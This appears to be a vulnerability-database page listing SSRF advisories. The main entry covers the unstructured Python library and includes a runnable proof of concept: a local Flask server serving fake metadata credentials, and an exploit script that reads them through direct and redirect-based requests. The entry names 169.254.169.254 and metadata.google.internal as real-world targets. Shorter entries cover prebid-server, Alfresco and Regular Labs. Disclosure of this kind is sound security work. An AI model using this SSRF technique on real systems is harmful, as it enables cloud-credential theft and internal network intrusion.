unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.

Details

Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):

  • unstructured/partition/auto.py:303 — file_and_type_from_url(), reached via partition(url=…).
  • unstructured/partition/html/partition.py:160 — partition_html(url=…). Post-fetch Content-Type check runs after the request hits the target.
  • unstructured/partition/md.py:96 — partition_md(url=…). No timeout (SSRF + slow-loris DoS).

None of is_private, is_loopback, ipaddress, gethostbyname, or allow_redirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allow_redirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.

PoC

Local-only. pip install unstructured==0.22.26 flask requests.

internal_server.py:

from flask import Flask, Response, jsonify
app = Flask(__name__)

@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})

@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")

@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})

if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)

exploit.py — uses the public top-level API:

# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, "NN") for w in (t or "").split()]

from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"

# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")

In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.

Impact

Attacker capabilities:

  • Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.
  • Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a PUT for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.
  • Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks.
  • Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "unstructured"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.7"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T17:02:46Z",
    "nvd_published_at": "2026-08-20T17:19:40Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** \u2014 attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks \u2014 secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` \u2014 `file_and_type_from_url()`, reached via `partition(url=\u2026)`.\n- `unstructured/partition/html/partition.py:160` \u2014 `partition_html(url=\u2026)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` \u2014 `partition_md(url=\u2026)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) \u2014 ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` \u2014 uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** \u2014 loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** \u2014 reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** \u2014 magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** \u2014 connection success/failure timing and error messages serve as a port and service scanner.",
  "id": "GHSA-4mvj-m6j5-pmf7",
  "modified": "2026-09-03T17:02:47Z",
  "published": "2026-09-03T17:02:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/pull/4388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unstructured-IO/unstructured"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "unstructured: Server-Side Request Forgery in the URL-based partitioning"
}

GHSA-4P3G-4HCJ-WPVX

Vulnerability from github – Published: 2026-07-29 16:00 – Updated: 2026-07-29 16:00
VLAI
Summary
prebid-server's request forgery vulnerability allows for possible host environment data extraction
Details

Impact

Certain bidder adapters accept user-supplied parameters that are interpolated into outbound request URLs. Without proper input validation, a malicious actor could craft bid request parameters that cause the server to send HTTP requests to unintended destinations, potentially exposing internal network services or sensitive server endpoints to unauthorized access.

Patches

Patched in v4.4.0

Workarounds

If one is unable to update, please make sure that the affected bidder adapters are disabled.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prebid/prebid-server/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prebid/prebid-server/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prebid/prebid-server/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prebid/prebid-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.275.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:00:36Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nCertain bidder adapters accept user-supplied parameters that are interpolated into outbound request URLs. Without proper input validation, a malicious actor could craft bid request parameters that cause the server to send HTTP requests to unintended destinations, potentially exposing internal network services or sensitive server endpoints to unauthorized access.\n\n### Patches\nPatched in [v4.4.0](https://github.com/prebid/prebid-server/releases/tag/v4.4.0)\n\n### Workarounds\nIf one is unable to update, please make sure that the affected bidder adapters are disabled.",
  "id": "GHSA-4p3g-4hcj-wpvx",
  "modified": "2026-07-29T16:00:36Z",
  "published": "2026-07-29T16:00:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prebid/prebid-server/security/advisories/GHSA-4p3g-4hcj-wpvx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prebid/prebid-server/pull/4802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prebid/prebid-server/commit/494ac271cd4b5024df9123ef25ca3cff96390be3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prebid/prebid-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prebid/prebid-server/releases/tag/v4.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "prebid-server\u0027s request forgery vulnerability allows for possible host environment data extraction"
}

GHSA-4P6Q-FX36-35XG

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

An issue was discovered in Hyland org.alfresco:alfresco-content-services through 6.2.2.18 and org.alfresco:alfresco-transform-services through 1.3. A crafted HTML file, once uploaded, could trigger an unexpected request by the transformation engine. The response to the request is not available to the attacker, i.e., this is blind SSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-41792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Hyland org.alfresco:alfresco-content-services through 6.2.2.18 and org.alfresco:alfresco-transform-services through 1.3. A crafted HTML file, once uploaded, could trigger an unexpected request by the transformation engine. The response to the request is not available to the attacker, i.e., this is blind SSRF.",
  "id": "GHSA-4p6q-fx36-35xg",
  "modified": "2022-05-24T19:18:27Z",
  "published": "2022-05-24T19:18:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41792"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Alfresco/acs-packaging/blob/master/DISCLOSURES.md"
    },
    {
      "type": "WEB",
      "url": "https://www.themissinglink.com.au"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4P75-9PX8-9C8R

Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-24 21:32
VLAI
Details

Custom query URLs could access internal or reserved network services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-64873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T10:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "Custom query URLs could access internal or reserved network services.",
  "id": "GHSA-4p75-9px8-9c8r",
  "modified": "2026-07-24T21:32:21Z",
  "published": "2026-07-23T12:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64873"
    },
    {
      "type": "WEB",
      "url": "https://regularlabs.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.